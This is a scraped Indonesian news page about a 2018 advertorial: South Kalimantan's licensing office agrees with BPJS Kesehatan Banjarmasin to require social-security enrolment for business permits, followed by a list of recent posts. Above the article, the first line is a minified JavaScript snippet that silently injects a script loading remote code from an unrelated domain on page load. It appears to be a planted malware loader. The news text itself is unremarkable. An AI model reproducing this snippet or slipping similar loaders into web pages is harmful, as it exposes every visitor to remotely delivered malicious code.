(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

DPMPTSP Kalsel Persyaratkan Kepesertaan Jaminan Sosial Dalam Pengurusan Perizinan


BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin terus melakukan gebrakan upaya meningkatkan cakupan kepesertaan Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS) menuju Universal Health Coverage (UHC) per 1 Januari 2019 nanti.

Sebagai salah satu upayanya, BPJS Kesehatan Cabang Banjarmasin memaksimalkan peran seluruh stakeholder dengan menjalin kerja sama terhadap instansi-instansi terkait, salah satunya dengan Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu (DPMPTSP) Provinsi Kalsel.

Kerja sama antara DPMPTSP Provinsi Kalsel dengan BPJS Kesehatan sebenarnya telah terjalin semenjak tahun 2016, namun dalam pertemuan ini kami membahas addendum perjanjian kerja sama yang menitikberatkan pada kewajiban badan usaha untuk mengurus kepesertaan jaminan sosial yang merupakan syarat utama pada saat mereka hendak mengurus perizinannya.

“Hal ini penting, karena sebelumnya pengurusan kesepertaan Jaminan Sosial masih bersifat himbauan,” kata Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza disela kegiatan pertemuan dengan DPMPTSP Provinsi Kalsel.

Pada pertemuan pembahasan addendum tersebut telah disepakati DPMPTSP Provinsi Kalsel siap berkomitmen mendukung menyukseskan program jaminan sosial milik pemerintah dengan memasukkan persyaratan kepesertaan jaminan sosial ke dalam Standar Operasional Prosedur (SOP) di DPMPTSP Kalsel.

“Selama ini kami menghadapi kebimbangan terhadap pemberlakuan persyaratan kepesertaan jaminan sosial terhadap pelayanan perizinan yang kami berikan, di satu sisi kami ingin berkontribusi menyukseskan program pemerintah, di sisi lain hal tersebut berbenturan dengan SOP yang kami miliki,” ujar Kepala DPMPTSP Provinsi Kalsel H Nafarin.

Melihat target UHC yang tidak lama lagi diperkuat dengan munculnya PP No 24 Tahun 2018 tentang pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik, sudah tidak ada alasan bagi DPMPTSP Kalsel untuk tidak dapat sepenuhnya ikut serta berperan dalam suksesnya program JKN-KIS.

Terkait hal itu, Fakhriza mengapresiasi terhadap komitmen yang diberikan oleh DPMPTSP Provinsi Kalsel yang bersedia mendukung penuh program JKN-KIS. Fakhriza berharap implementasi persyaratan tersebut dapat terlaksana sesegera mungkin dan juga persyaratan kepesertaan jaminan sosial ini juga dapat sesegera mungkin diimplementasikan di daerah tingkat Kabupaten/Kota di Kalsel. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

42 menit ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

58 menit ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

1 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

3 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

4 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

5 jam ago

This website uses cookies.